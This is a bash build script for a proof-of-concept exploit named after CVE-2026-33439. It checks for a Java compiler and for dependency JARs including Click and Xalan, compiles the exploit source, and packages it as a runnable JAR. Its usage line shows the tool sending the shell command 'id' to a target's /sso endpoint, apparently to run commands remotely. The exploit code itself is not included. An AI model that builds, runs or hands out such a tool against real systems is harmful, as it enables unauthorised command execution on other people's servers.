#!/bin/bash
set -e
cd "$(dirname "$0")"

echo "[*] CVE-2026-33439 Echo PoC — Build Script"
echo ""

JAVAC=$(which javac 2>/dev/null || true)
if [ -z "$JAVAC" ]; then
    echo "[-] javac not found. Install a JDK (11+)."
    exit 1
fi

JDK_VER=$(javac -version 2>&1 | grep -oP '\d+' | head -1)
echo "[+] Java compiler version: $JDK_VER"

for jar in click-nodeps-2.3.0.jar xalan-2.7.1.jar serializer-2.7.3.jar javax.servlet-api-4.0.1.jar; do
    if [ ! -f "lib/$jar" ]; then
        echo "[-] Missing: lib/$jar"
        exit 1
    fi
done
echo "[+] All dependency JARs found in lib/"

echo "[*] Compiling..."
mkdir -p build
javac -cp "lib/*" -d build src/CVE_2026_33439_Echo.java
echo "[+] Compiled successfully"

echo "[*] Packaging JAR..."
jar cfm CVE-2026-33439-Echo.jar MANIFEST.MF -C build .
echo "[+] Built: CVE-2026-33439-Echo.jar"

rm -rf build
echo ""
echo "[*] Usage:"
echo "  java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'"
echo "[+] Build directory cleaned up"